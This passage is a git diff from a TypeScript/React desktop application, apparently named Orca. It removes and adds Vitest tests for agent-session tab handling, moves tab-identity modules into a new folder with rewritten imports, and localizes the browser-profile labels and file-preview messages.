-      expect(state.activeWorktreeId).toBe('wt-2')
-      expect(state.activeTabType).toBe('agent-session')
-      expect(state.getActiveTab('wt-2')).toEqual(selected)
-    }
-    view.unmount()
-  })
-
-  // Hidden launch slots exist only in window order; count terminal position among tabs both window and main draw.
-  it("places a declined chat's terminal right after the chat past a hidden launch slot", async () => {
-    const { launch, chat, fallback, complete } = openChat(undefined, undefined, '')
-    await main.settle()
-    refuse()
-    await vi.waitFor(() => expect(fallback).toHaveBeenCalled())
-    const chatGroupId = groupOf(chat.id)
-    const state = useAppStore.getState()
-    const sibling = state.createUnifiedTab('wt-1', 'terminal', {
-      entityId: 'sibling',
-      targetGroupId: chatGroupId,
-      activate: false
-    })
-    const terminal = state.createUnifiedTab('wt-1', 'terminal', {
-      id: 'replacement',
-      targetGroupId: chatGroupId,
-      activate: false
-    })
-    useAppStore.setState({
-      tabsByWorktree: {
-        'wt-1': ORCA_LAYOUT_OWNER_IS_MAIN
-          ? [terminalRecord(sibling.entityId), terminalRecord(terminal.entityId)]
-          : []
-      }
-    })
-    await mainLoadsStoreLayout()
-    const slot = structuredAgentSessionTabId('hidden-launch')
-    useAppStore.getState().ensureWorktreeRootGroup('wt-1', {
-      tabId: slot,
-      targetGroupId: chatGroupId,
-      precedingTabIds: []
-    })
-    const order = () =>
-      useAppStore.getState().groupsByWorktree['wt-1']?.find((g) => g.id === chatGroupId)?.tabOrder
-    expect(order()).toEqual([slot, chat.id, sibling.id, terminal.id])
-
-    await act(async () => {
-      complete({ outcome: { status: 'created' }, tabId: terminal.id })
-      await launch?.settlement
-      await main.settle()
-    })
-
-    expect(useAppStore.getState().getTab(chat.id)).toBeNull()
-    expect(order()?.filter((id) => id !== slot)).toEqual([terminal.id, sibling.id])
-  })
-})
-
-afterEach(() => vi.useRealTimers())
-it.each(['expiry', 'purge'])('created pane publication: %s', async (order) => {
-  const store = () => useAppStore.getState()
-  const source = store().createUnifiedTab('wt-1', 'agent-session', { entityId: 'b' })
-  const groupId = store().createEmptySplitGroup('wt-1', source.groupId, 'right')!
-  const chat = store().createUnifiedTab('wt-1', 'agent-session', {
-    entityId: 'created',
-    targetGroupId: groupId
-  })
-  const list = (snapshotVersion: number) =>
-    applyStructuredSessionTabSnapshots([
-      {
-        ...makeEmptyHostSnapshot('wt-1'),
-        publicationEpoch: chat.entityId,
-        snapshotVersion,
-        tabs: ['b'].map((sessionId) => ({
-          type: 'agent-session',
-          id: `agent-session:${sessionId}`,
-          sessionId,
-          agent: 'claude',
-          title: 'Chat',
-          isActive: false
-        }))
-      }
-    ])
-  vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout'] })
-  unlisted.recordUnlistedCreatedChat('wt-1', chat.entityId, 'local')
-  list(100)
-  expect(store().unifiedTabsByWorktree['wt-1']?.find((t) => t.id === chat.id)).toMatchObject({
-    groupId
-  })
-  if (order === 'purge') {
-    useAppStore.setState(buildFullWorktreePurgeState(store(), [{ id: 'wt-1' }]))
-  }
-  await vi.advanceTimersByTimeAsync(30_000)
-  expect(unlisted.isUnlistedCreatedChat('wt-1', chat.entityId)).toBe(false)
-  if (order === 'purge') {
-    expect(store().unifiedTabsByWorktree['wt-1']).toBeUndefined()
-  } else {
-    expect(store().unifiedTabsByWorktree['wt-1']?.some((t) => t.id === chat.id)).toBe(true)
-    list(101)
-    expect(store().unifiedTabsByWorktree['wt-1']?.some((t) => t.id === chat.id)).toBe(
-      ORCA_LAYOUT_OWNER_IS_MAIN
-    )
-  }
-})
diff --git a/src/renderer/src/lib/open-tab-occupant-agent.ts b/src/renderer/src/lib/agent-session/tab-identity/open-tab-occupant-agent.ts
similarity index 79%
rename from src/renderer/src/lib/open-tab-occupant-agent.ts
rename to src/renderer/src/lib/agent-session/tab-identity/open-tab-occupant-agent.ts
index 4f6eaf02b74..e929d29b0a7 100644
--- a/src/renderer/src/lib/open-tab-occupant-agent.ts
+++ b/src/renderer/src/lib/agent-session/tab-identity/open-tab-occupant-agent.ts
@@ -1,11 +1,7 @@
-import type { RetainedAgentEntry } from '@/store/slices/agent-status/agent-status-contract'
-import type { PaneForegroundAgentEntry } from '@/store/slices/agent-status/pane-foreground-agent'
-import type { SleepingAgentSessionRecord } from '../../../shared/agent-session/lifecycle/agent-session-resume'
-import type { AgentStatusEntry } from '../../../shared/agent-status/contracts/agent-status-types'
-import { isTerminalLeafId, makePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
-import type { TerminalLayoutSnapshot } from '../../../shared/workspace-layout/terminal-tab-types'
-import type { TerminalAgent } from '../../../shared/agent-status/identity/terminal-agent'
-import type { TuiAgent } from '../../../shared/agent-launch/catalog/tui-agent'
+import {
+  isTerminalLeafId,
+  makePaneKey
+} from '../../../../../shared/workspace-layout/stable-pane-id'
 import {
   resolveFocusedCompletedTabAgent,
   resolveFocusedRetainedTabAgent,
@@ -14,7 +10,14 @@ import {
   resolveSiblingRetainedTabAgent,
   resolveSiblingTabAgent
 } from './tab-agent'
-import { resolveTabAgentFromSignalSnapshot } from '../../../shared/tab-agent-from-signals'
+import { resolveTabAgentFromSignalSnapshot } from '../../../../../shared/tab-agent-from-signals'
+import type { RetainedAgentEntry } from '@/store/slices/agent-status/agent-status-contract'
+import type { PaneForegroundAgentEntry } from '@/store/slices/agent-status/pane-foreground-agent'
+import type { SleepingAgentSessionRecord } from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
+import type { AgentStatusEntry } from '../../../../../shared/agent-status/contracts/agent-status-types'
+import type { TerminalLayoutSnapshot } from '../../../../../shared/workspace-layout/terminal-tab-types'
+import type { TerminalAgent } from '../../../../../shared/agent-status/identity/terminal-agent'
+import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
 
 export type OpenTabOccupantAgentInput = {
   tabId: string
diff --git a/src/renderer/src/lib/structured-chat-tab-index.ts b/src/renderer/src/lib/agent-session/tab-identity/structured-chat-tab-index.ts
similarity index 96%
rename from src/renderer/src/lib/structured-chat-tab-index.ts
rename to src/renderer/src/lib/agent-session/tab-identity/structured-chat-tab-index.ts
index 54c28bcb824..2ae758e8870 100644
--- a/src/renderer/src/lib/structured-chat-tab-index.ts
+++ b/src/renderer/src/lib/agent-session/tab-identity/structured-chat-tab-index.ts
@@ -1,5 +1,5 @@
-import type { Tab } from '../../../shared/tab-types'
-import { isStructuredTab } from '../../../shared/agent-session/view/structured-agent-session-tab'
+import { isStructuredTab } from '../../../../../shared/agent-session/view/structured-agent-session-tab'
+import type { Tab } from '../../../../../shared/tab-types'
 
 type DirectoryTab = {
   id: string
diff --git a/src/renderer/src/lib/tab-agent-remote-pty-selector.ts b/src/renderer/src/lib/agent-session/tab-identity/tab-agent-remote-pty-selector.ts
similarity index 85%
rename from src/renderer/src/lib/tab-agent-remote-pty-selector.ts
rename to src/renderer/src/lib/agent-session/tab-identity/tab-agent-remote-pty-selector.ts
index 60e637c4593..7da58e008a5 100644
--- a/src/renderer/src/lib/tab-agent-remote-pty-selector.ts
+++ b/src/renderer/src/lib/agent-session/tab-identity/tab-agent-remote-pty-selector.ts
@@ -1,4 +1,4 @@
-import { parseRemoteRuntimePtyId } from '../../../shared/remote-runtime/remote-runtime-pty-id'
+import { parseRemoteRuntimePtyId } from '../../../../../shared/remote-runtime/remote-runtime-pty-id'
 
 /** Checks both PTY projections without allocating a dedupe set on each store notification. */
 export function hasRemoteRuntimePtyForTab(
diff --git a/src/renderer/src/lib/tab-agent-status-index.ts b/src/renderer/src/lib/agent-session/tab-identity/tab-agent-status-index.ts
similarity index 89%
rename from src/renderer/src/lib/tab-agent-status-index.ts
rename to src/renderer/src/lib/agent-session/tab-identity/tab-agent-status-index.ts
index 8cf013dfd2b..046dc50bfba 100644
--- a/src/renderer/src/lib/tab-agent-status-index.ts
+++ b/src/renderer/src/lib/agent-session/tab-identity/tab-agent-status-index.ts
@@ -1,8 +1,8 @@
-import type { AgentStatusEntry } from '../../../shared/agent-status/contracts/agent-status-types'
-import type { TerminalAgent } from '../../../shared/agent-status/identity/terminal-agent'
-import { parsePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
+import { parsePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
+import { agentTypeToIconAgent } from '../../../../../shared/agent-status/presentation/agent-type-icon-agent'
+import type { AgentStatusEntry } from '../../../../../shared/agent-status/contracts/agent-status-types'
+import type { TerminalAgent } from '../../../../../shared/agent-status/identity/terminal-agent'
 import type { RetainedAgentEntry } from '@/store/slices/agent-status/agent-status-contract'
-import { agentTypeToIconAgent } from '../../../shared/agent-status/presentation/agent-type-icon-agent'
 
 /** Index iconable panes once per status-map identity instead of scanning globally per mounted tab. Preserve insertion order: first-match resolution decides split-tab icons. */
 export type TabAgentPane = { readonly leafId: string; readonly agent: TerminalAgent }
diff --git a/src/renderer/src/lib/tab-agent.ts b/src/renderer/src/lib/agent-session/tab-identity/tab-agent.ts
similarity index 89%
rename from src/renderer/src/lib/tab-agent.ts
rename to src/renderer/src/lib/agent-session/tab-identity/tab-agent.ts
index bb3b6afaab8..a0e3e6db763 100644
--- a/src/renderer/src/lib/tab-agent.ts
+++ b/src/renderer/src/lib/agent-session/tab-identity/tab-agent.ts
@@ -1,15 +1,18 @@
-import type { AgentStatusEntry } from '../../../shared/agent-status/contracts/agent-status-types'
-import type { TerminalLayoutSnapshot } from '../../../shared/workspace-layout/terminal-tab-types'
-import type { TerminalAgent } from '../../../shared/agent-status/identity/terminal-agent'
-import { isTerminalLeafId, makePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
-import type { RetainedAgentEntry } from '@/store/slices/agent-status/agent-status-contract'
-import { agentTypeToIconAgent } from '../../../shared/agent-status/presentation/agent-type-icon-agent'
+import {
+  isTerminalLeafId,
+  makePaneKey
+} from '../../../../../shared/workspace-layout/stable-pane-id'
+import { agentTypeToIconAgent } from '../../../../../shared/agent-status/presentation/agent-type-icon-agent'
 import {
   firstTabAgentExcludingLeaf,
   selectCompletedTabAgentPanes,
   selectLiveTabAgentPanes,
   selectRetainedTabAgentPanes
 } from './tab-agent-status-index'
+import type { AgentStatusEntry } from '../../../../../shared/agent-status/contracts/agent-status-types'
+import type { TerminalLayoutSnapshot } from '../../../../../shared/workspace-layout/terminal-tab-types'
+import type { TerminalAgent } from '../../../../../shared/agent-status/identity/terminal-agent'
+import type { RetainedAgentEntry } from '@/store/slices/agent-status/agent-status-contract'
 
 /** Hook status is primary tab-icon identity, matching sidebar rows and OSC 133 exit cleanup. Resolve focused leaf first, then sibling split panes. */
 export function resolveFocusedTabAgent(
diff --git a/src/renderer/src/lib/use-tab-agent-observed-signal-dispatch.test.tsx b/src/renderer/src/lib/agent-session/tab-identity/use-tab-agent-observed-signal-dispatch.test.tsx
similarity index 86%
rename from src/renderer/src/lib/use-tab-agent-observed-signal-dispatch.test.tsx
rename to src/renderer/src/lib/agent-session/tab-identity/use-tab-agent-observed-signal-dispatch.test.tsx
index 6ba897f7c05..69f67b79a14 100644
--- a/src/renderer/src/lib/use-tab-agent-observed-signal-dispatch.test.tsx
+++ b/src/renderer/src/lib/agent-session/tab-identity/use-tab-agent-observed-signal-dispatch.test.tsx
@@ -1,17 +1,18 @@
 /** @vitest-environment happy-dom */
 
 import { act } from 'react'
-import { createRoot, type Root } from 'react-dom/client'
+import { createRoot } from 'react-dom/client'
+import type { Root } from 'react-dom/client'
 import { afterEach, beforeEach, describe, expect, it } from 'vitest'
-import { useAppStore } from '@/store'
-import type { AgentStatusEntry } from '../../../shared/agent-status/contracts/agent-status-types'
-import { makePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
+import { useAppStore } from '@/store/index'
+import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
+import { useTabAgent } from './use-tab-agent'
+import type { AgentStatusEntry } from '../../../../../shared/agent-status/contracts/agent-status-types'
 import type {
   TerminalLayoutSnapshot,
   TerminalTab
-} from '../../../shared/workspace-layout/terminal-tab-types'
-import type { TerminalAgent } from '../../../shared/agent-status/identity/terminal-agent'
-import { useTabAgent } from './use-tab-agent'
+} from '../../../../../shared/workspace-layout/terminal-tab-types'
+import type { TerminalAgent } from '../../../../../shared/agent-status/identity/terminal-agent'
 
 ;(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true
 
diff --git a/src/renderer/src/lib/agent-session/tab-identity/use-tab-agent.test.ts b/src/renderer/src/lib/agent-session/tab-identity/use-tab-agent.test.ts
new file mode 100644
index 00000000000..eeed77f1e7b
--- /dev/null
+++ b/src/renderer/src/lib/agent-session/tab-identity/use-tab-agent.test.ts
@@ -0,0 +1,143 @@
+// @vitest-environment happy-dom
+
+import { act, createElement } from 'react'
+import { createRoot } from 'react-dom/client'
+import type { Root } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { useAppStore } from '@/store/index'
+import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
+import '../../../../../shared/tab-agent-from-signals'
+import { useTabAgent } from './use-tab-agent'
+import type { AgentStatusEntry } from '../../../../../shared/agent-status/contracts/agent-status-types'
+import type { TerminalTab } from '../../../../../shared/workspace-layout/terminal-tab-types'
+import type { TerminalAgent } from '../../../../../shared/agent-status/identity/terminal-agent'
+
+const initialAppState = useAppStore.getInitialState()
+const LEAF_ID = '11111111-1111-4111-8111-111111111111'
+void '22222222-2222-4222-8222-222222222222'
+let latestHookAgent: TerminalAgent | null | undefined
+const hookRoots: Root[] = []
+
+function HookProbe({ tab }: { tab: TerminalTab }): null {
+  latestHookAgent = useTabAgent(tab)
+  return null
+}
+
+async function renderHookProbe(tab: TerminalTab): Promise<Root> {
+  const container = document.createElement('div')
+  document.body.appendChild(container)
+  const root = createRoot(container)
+  hookRoots.push(root)
+  await act(async () => {
+    root.render(createElement(HookProbe, { tab }))
+  })
+  await flushHookEffects()
+  return root
+}
+
+async function rerenderHookProbe(root: Root, tab: TerminalTab): Promise<void> {
+  await act(async () => {
+    root.render(createElement(HookProbe, { tab }))
+  })
+  await flushHookEffects()
+}
+
+async function flushHookEffects(): Promise<void> {
+  await act(async () => {
+    await Promise.resolve()
+    await Promise.resolve()
+  })
+}
+
+function agentStatus(paneKey: string, state: AgentStatusEntry['state']): AgentStatusEntry {
+  return {
+    state,
+    prompt: '',
+    updatedAt: 1,
+    stateStartedAt: 1,
+    agentType: 'codex',
+    paneKey,
+    stateHistory: []
+  }
+}
+
+function workingAgentStatus(paneKey: string): AgentStatusEntry {
+  return agentStatus(paneKey, 'working')
+}
+
+describe('useTabAgent', () => {
+  const originalApi = window.api
+  const getForegroundProcess = vi.fn()
+  const clearTabLaunchAgent = vi.fn()
+  const baseTab: TerminalTab = {
+    id: 'tab-1',
+    ptyId: 'pty-1',
+    worktreeId: 'wt-1',
+    title: 'Terminal 1',
+    customTitle: null,
+    color: null,
+    sortOrder: 0,
+    createdAt: 1,
+    launchAgent: 'codex'
+  }
+
+  beforeEach(() => {
+    latestHookAgent = undefined
+    getForegroundProcess.mockReset()
+    clearTabLaunchAgent.mockReset()
+    useAppStore.setState(initialAppState, true)
+    useAppStore.setState({
+      ptyIdsByTabId: { 'tab-1': ['pty-1'] },
+      agentStatusByPaneKey: {},
+      terminalLayoutsByTabId: {},
+      clearTabLaunchAgent
+    })
+    window.api = {
+      ...originalApi,
+      pty: {
+        ...originalApi?.pty,
+        getForegroundProcess
+      }
+    } as typeof window.api
+  })
+
+  afterEach(() => {
+    hookRoots.splice(0).forEach((root) => {
+      act(() => root.unmount())
+    })
+    document.body.replaceChildren()
+    useAppStore.setState(initialAppState, true)
+    window.api = originalApi
+  })
+
+  it('does not clear remote launch identity when the hook row drops at a shell title', async () => {
+    const remotePtyId = 'remote:web-env-1@@terminal-1'
+    const paneKey = makePaneKey('tab-1', LEAF_ID)
+    useAppStore.setState({
+      ptyIdsByTabId: { 'tab-1': [remotePtyId] },
+      terminalLayoutsByTabId: {
+        'tab-1': {
+          root: { type: 'leaf', leafId: LEAF_ID },
+          activeLeafId: LEAF_ID,
+          expandedLeafId: null,
+          ptyIdsByLeafId: { [LEAF_ID]: remotePtyId }
+        }
+      },
+      agentStatusByPaneKey: {
+        [paneKey]: workingAgentStatus(paneKey)
+      }
+    })
+    const remoteTab = { ...baseTab, ptyId: remotePtyId, launchAgent: 'claude' as const }
+
+    const root = await renderHookProbe(remoteTab)
+
+    // Remote transport gaps do not prove exit; require completion evidence to clear identity.
+    await act(async () => {
+      useAppStore.setState({ agentStatusByPaneKey: {} })
+    })
+    await rerenderHookProbe(root, { ...remoteTab, title: 'zsh' })
+
+    expect(clearTabLaunchAgent).not.toHaveBeenCalled()
+    expect(latestHookAgent).toBe('claude')
+  })
+})
diff --git a/src/renderer/src/lib/use-tab-agent.ts b/src/renderer/src/lib/agent-session/tab-identity/use-tab-agent.ts
similarity index 95%
rename from src/renderer/src/lib/use-tab-agent.ts
rename to src/renderer/src/lib/agent-session/tab-identity/use-tab-agent.ts
index 09e2a51098a..690e4e0930a 100644
--- a/src/renderer/src/lib/use-tab-agent.ts
+++ b/src/renderer/src/lib/agent-session/tab-identity/use-tab-agent.ts
@@ -1,9 +1,11 @@
 import { useEffect, useRef, useState } from 'react'
-import { useAppStore } from '@/store'
-import type { AppState } from '@/store/types'
+import { useAppStore } from '@/store/index'
 import { worktreeUsesRemoteConnection } from '@/store/terminals/terminal-workspace-routing'
 import { hasRemoteRuntimePtyForTab } from './tab-agent-remote-pty-selector'
-import { isTerminalLeafId, makePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
+import {
+  isTerminalLeafId,
+  makePaneKey
+} from '../../../../../shared/workspace-layout/stable-pane-id'
 import {
   resolveFocusedCompletedTabAgent,
   resolveFocusedRetainedTabAgent,
@@ -16,9 +18,10 @@ import {
   hasObservedTabAgentSignal,
   resolveLaunchedAgentExitEvidence,
   resolveTabAgentFromSignals
-} from '../../../shared/tab-agent-from-signals'
-import type { TerminalTab } from '../../../shared/workspace-layout/terminal-tab-types'
-import type { TerminalAgent } from '../../../shared/agent-status/identity/terminal-agent'
+} from '../../../../../shared/tab-agent-from-signals'
+import type { AppState } from '@/store/types'
+import type { TerminalTab } from '../../../../../shared/workspace-layout/terminal-tab-types'
+import type { TerminalAgent } from '../../../../../shared/agent-status/identity/terminal-agent'
 
 type TabHookAgents = {
   focused: TerminalAgent | null
diff --git a/src/renderer/src/lib/browser-session-profile-label.ts b/src/renderer/src/lib/browser-session-profile-label.ts
new file mode 100644
index 00000000000..4bf3be3d139
--- /dev/null
+++ b/src/renderer/src/lib/browser-session-profile-label.ts
@@ -0,0 +1,15 @@
+import { translate } from '@/i18n/i18n'
+
+/** Display-time label for the built-in default browser session profile. */
+export function translateBrowserSessionProfileLabel(
+  label: string | null | undefined,
+  profileId?: string | null
+): string {
+  if (!label?.trim() && profileId && profileId !== 'default') {
+    return profileId
+  }
+  if (profileId === 'default' || !label?.trim() || (profileId == null && label === 'Default')) {
+    return translate('auto.components.settings.BrowserPane.4399c77caa', 'Default')
+  }
+  return label
+}
diff --git a/src/renderer/src/lib/browser/cookies/browser-google-cookie-clear.ts b/src/renderer/src/lib/browser/cookies/browser-google-cookie-clear.ts
index baf63c4e3b2..cb3c2708001 100644
--- a/src/renderer/src/lib/browser/cookies/browser-google-cookie-clear.ts
+++ b/src/renderer/src/lib/browser/cookies/browser-google-cookie-clear.ts
@@ -9,6 +9,7 @@ import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call'
 import { useAppStore } from '@/store/index'
 import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host'
 import { translate } from '@/i18n/i18n'
+import { translateBrowserSessionProfileLabel } from '@/lib/browser-session-profile-label'
 import { getRuntimeEnvironmentRevision } from '@/runtime/rpc/environment-revisions/runtime-environment-revision'
 
 function remoteGoogleCookieClearAvailable(environmentId: string): boolean {
@@ -33,7 +34,10 @@ export async function captureGoogleCookieClearTarget(
   const parsedHost = parseExecutionHostId(hostId)
   const environmentId = parsedHost?.kind === 'runtime' ? parsedHost.environmentId : null
   pairingRevision ??= environmentId ? getRuntimeEnvironmentRevision(environmentId) : undefined
-  const targetLabel = label || (profileId === 'default' ? 'Default' : profileId)
+  const targetLabel = translateBrowserSessionProfileLabel(
+    label || (profileId === 'default' ? 'Default' : profileId),
+    profileId
+  )
   const local = await window.api.browser.sessionGoogleCookieClearTarget({
     profileId,
     environmentId
@@ -88,7 +92,10 @@ export async function confirmAndClearGoogleCookies(
 ): Promise<void> {
   const profileId = 'local' in target ? target.local.profileId : target.profileId
   const values = {
-    profile: target.label || (profileId === 'default' ? 'Default' : 'Browser profile')
+    profile: translateBrowserSessionProfileLabel(
+      target.label || (profileId === 'default' ? 'Default' : 'Browser profile'),
+      profileId
+    )
   }
   if (
     !(await confirm({
diff --git a/src/renderer/src/lib/browser/documents/doc-preview-web-client.ts b/src/renderer/src/lib/browser/documents/doc-preview-web-client.ts
index 0e31683f439..05af47b5dba 100644
--- a/src/renderer/src/lib/browser/documents/doc-preview-web-client.ts
+++ b/src/renderer/src/lib/browser/documents/doc-preview-web-client.ts
@@ -1,5 +1,5 @@
 import { translate } from '@/i18n/i18n'
-import { isPairedWebClientWindow } from '../../desktop-window-chrome'
+import { isPairedWebClientWindow } from '../../../app-shell/chrome/desktop-window-chrome'
 
 /** The document preview is a desktop webview; a paired web client has no window to host it in. */
 export function webClientDocPreviewRefusal(): {
diff --git a/src/renderer/src/lib/browser/documents/file-preview-link-open.ts b/src/renderer/src/lib/browser/documents/file-preview-link-open.ts
index 48891689534..f74339c50c1 100644
--- a/src/renderer/src/lib/browser/documents/file-preview-link-open.ts
+++ b/src/renderer/src/lib/browser/documents/file-preview-link-open.ts
@@ -10,7 +10,7 @@ import type {
   BrowserOpenOutcome
 } from '../navigation/browser-link-destination'
 import { openLocalBrowserLink } from '../navigation/browser-link-open'
-import { getResolvedExecutionHostIdForWorktree } from '../../resolved-worktree-execution-host'
+import { getResolvedExecutionHostIdForWorktree } from '../../workspace/ownership/resolved-worktree-execution-host'
 import { createBrowserLinkHostMatcher } from '../navigation/browser-link-owner'
 import { resolveWorktreeOperationRoute } from '../../workspace/ownership/worktree-operation-route'
 import { selectDetectedWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields'
diff --git a/src/renderer/src/lib/browser/documents/file-preview.ts b/src/renderer/src/lib/browser/documents/file-preview.ts
index 195146eed69..74022c83b18 100644
--- a/src/renderer/src/lib/browser/documents/file-preview.ts
+++ b/src/renderer/src/lib/browser/documents/file-preview.ts
@@ -1,12 +1,9 @@
 import { browserPageDocLocationsEqual } from '../../../../../shared/browser-page-doc-location'
-import { openPlannedFileBrowserLink, type FileBrowserLinkTarget } from './file-preview-link-open'
-import type {
-  BrowserLinkOpenContext,
-  BrowserOpenOutcome
-} from '../navigation/browser-link-destination'
+import { openPlannedFileBrowserLink } from './file-preview-link-open'
+import type { FileBrowserLinkTarget } from './file-preview-link-open'
 import { toast } from 'sonner'
 import { absolutePathToFileUri } from '@/components/editor/markdown/link-routing/markdown-internal-links'
-import { getWorkspaceClientCreationActionPolicy } from '@/lib/client-creation-action-policy'
+import { getWorkspaceClientCreationActionPolicy } from '@/lib/workspace/creation/surface-policy/client-creation-action-policy'
 import { webClientDocPreviewRefusal } from '@/lib/browser/documents/doc-preview-web-client'
 import { useCallback } from 'react'
 import { useShallow } from 'zustand/react/shallow'
@@ -16,13 +13,11 @@ import { activateBrowserWorkspaceTab } from '@/lib/browser/workspace/browser-wor
 import { runtimeEnvironmentIdOrLocalUnlessTwin } from '@/lib/workspace/ownership/worktree-runtime-owner'
 import { isTwinWorkspace } from '@/lib/workspace/ownership/resolve-owner'
 import {
-  REMOTE_FILE_BROWSER_UNSUPPORTED_MESSAGE,
-  TWIN_FILE_BROWSER_UNSUPPORTED_MESSAGE
+  remoteFileBrowserUnsupportedMessage,
+  twinFileBrowserUnsupportedMessage
 } from '@/lib/browser/documents/workspace-file-browser-open-target'
 import { useAppStore } from '@/store/index'
-import type { AppState } from '@/store/types'
 import { findSiblingGroupId } from '../../../../../shared/workspace-layout/tab-group-layout-tree'
-import type { CreateBrowserTabOptions } from '@/store/slices/browser/browser-slice-contract'
 import '../../../../../shared/constants'
 import { ORCA_BROWSER_BLANK_URL } from '../../../../../shared/browser/browser-blank-page'
 import {
@@ -30,6 +25,12 @@ import {
   selectWorktreesByRepo
 } from '@/store/workspaces/catalog/workspace-record-fields'
 import { findWorkspaceShowingDoc } from './workspace-doc-tab-lookup'
+import type {
+  BrowserLinkOpenContext,
+  BrowserOpenOutcome
+} from '../navigation/browser-link-destination'
+import type { AppState } from '@/store/types'
+import type { CreateBrowserTabOptions } from '@/store/slices/browser/browser-slice-contract'
 
 export type PreviewableLanguage = 'html'
 
@@ -68,7 +69,7 @@ export function getWorkspaceFilePreviewPlan(
   if (isTwinWorkspace(state, worktreeId)) {
     return {
       status: 'unsupported',
-      message: TWIN_FILE_BROWSER_UNSUPPORTED_MESSAGE,
+      message: twinFileBrowserUnsupportedMessage(),
       reason: 'no-channel'
     }
   }
@@ -77,7 +78,7 @@ export function getWorkspaceFilePreviewPlan(
     // Unresolved ownership cannot choose a channel; local fallback would read a remote path on this machine.
     return {
       status: 'unsupported',
-      message: REMOTE_FILE_BROWSER_UNSUPPORTED_MESSAGE,
+      message: remoteFileBrowserUnsupportedMessage(),
       reason: 'no-channel'
     }
   }
diff --git a/src/renderer/src/lib/browser/documents/workspace-file-browser-open-target.ts b/src/renderer/src/lib/browser/documents/workspace-file-browser-open-target.ts
index b9d012c00f5..c8e5958ffc9 100644
--- a/src/renderer/src/lib/browser/documents/workspace-file-browser-open-target.ts
+++ b/src/renderer/src/lib/browser/documents/workspace-file-browser-open-target.ts
@@ -4,6 +4,7 @@ import { basename } from '@/lib/path'
 import { isTwinWorkspace } from '@/lib/workspace/ownership/resolve-owner'
 import { runtimeEnvironmentIdOrLocalUnlessTwin } from '@/lib/workspace/ownership/worktree-runtime-owner'
 import { useAppStore } from '@/store/index'
+import { translate } from '@/i18n/i18n'
 
 /** Still the answer for flows that need a real `file://` URL (e.g. dropping a file on a browser pane). */
 export const REMOTE_FILE_BROWSER_UNSUPPORTED_MESSAGE =
@@ -11,6 +12,21 @@ export const REMOTE_FILE_BROWSER_UNSUPPORTED_MESSAGE =
 export const TWIN_FILE_BROWSER_UNSUPPORTED_MESSAGE =
   'This project is on more than one host, so Orca cannot tell which copy to open.'
 
+/** Localized lazily: a module constant would freeze the language at import time. */
+export function remoteFileBrowserUnsupportedMessage(): string {
+  return translate(
+    'renderer.lib.filePreview.remoteFileUnsupported',
+    'Open in Orca Browser is only available for local files.'
+  )
+}
+
+export function twinFileBrowserUnsupportedMessage(): string {
+  return translate(
+    'renderer.lib.filePreview.twinFileUnsupported',
+    'This project is on more than one host, so Orca cannot tell which copy to open.'
+  )
+}
+
 export type WorkspaceFileBrowserOpenTarget =
   | {
       status: 'ready'
@@ -34,7 +50,7 @@ export function getWorkspaceFileBrowserOpenTarget(params: {
     return {
       status: 'unsupported',
       reason: 'remote-worktree',
-      message: TWIN_FILE_BROWSER_UNSUPPORTED_MESSAGE
+      message: twinFileBrowserUnsupportedMessage()
     }
   }
   if (
@@ -45,7 +61,7 @@ export function getWorkspaceFileBrowserOpenTarget(params: {
     return {
       status: 'unsupported',
       reason: 'remote-worktree',
-      message: REMOTE_FILE_BROWSER_UNSUPPORTED_MESSAGE
+      message: remoteFileBrowserUnsupportedMessage()
     }
   }
 
diff --git a/src/renderer/src/lib/browser/navigation/app-http-link-open.ts b/src/renderer/src/lib/browser/navigation/app-http-link-open.ts
index c006539ab89..abda7709b1f 100644
--- a/src/renderer/src/lib/browser/navigation/app-http-link-open.ts
+++ b/src/renderer/src/lib/browser/navigation/app-http-link-open.ts
@@ -1,15 +1,12 @@
-import type { AppState } from '@/store/types'
 import {
   canNativeChatOpenOwnedBrowser,
   resolveNativeChatHttpLinkSourceOwner
 } from '@/components/native-chat/links/actions/native-chat-http-link-source-owner'
-import { getWorkspaceClientCreationActionPolicy } from '../../client-creation-action-policy'
-import {
-  openOwnedHttpLink,
-  type HttpLinkDestination,
-  type HttpLinkSourceOwner
-} from './http-link-routing'
+import { getWorkspaceClientCreationActionPolicy } from '../../workspace/creation/surface-policy/client-creation-action-policy'
+import { openOwnedHttpLink } from './http-link-routing'
+import type { HttpLinkDestination, HttpLinkSourceOwner } from './http-link-routing'
 import { getShortcutPlatform } from '../../keyboard/shortcut-platform'
+import type { AppState } from '@/store/types'
 
 // The store registers itself so link buttons need not import it.
 let appStateAccessor: (() => AppState) | null = null
diff --git a/src/renderer/src/lib/browser/navigation/browser-link-destination.test.ts b/src/renderer/src/lib/browser/navigation/browser-link-destination.test.ts
index 3147241a2cf..4a694b3980c 100644
--- a/src/renderer/src/lib/browser/navigation/browser-link-destination.test.ts
+++ b/src/renderer/src/lib/browser/navigation/browser-link-destination.test.ts
@@ -3,24 +3,20 @@ import {
   buildBrowserPage,
   buildWorkspaceFromPage
 } from '@/store/slices/browser/pages/browser-page-records'
-import {
-  browserLinkPageMatches,
-  browserOpenResultForPage,
-  selectBrowserLinkDestination
-} from './browser-link-destination'
+import { browserLinkPageMatches, selectBrowserLinkDestination } from './browser-link-destination'
 import {
   browserLinkTestDestination,
   createBrowserLinkTestStore,
   WORKSPACE,
-  URL_TO_OPEN,
-  type BrowserLinkTestStore
+  URL_TO_OPEN
 } from './browser-link-open.test-fixture'
-import { captureLinkOpenIntent } from '../../link-open-intent'
+import type { BrowserLinkTestStore } from './browser-link-open.test-fixture'
+import { captureLinkOpenIntent } from '../../links/placement/link-open-intent'
 import '@/store/testing/app-store-test-fixture'
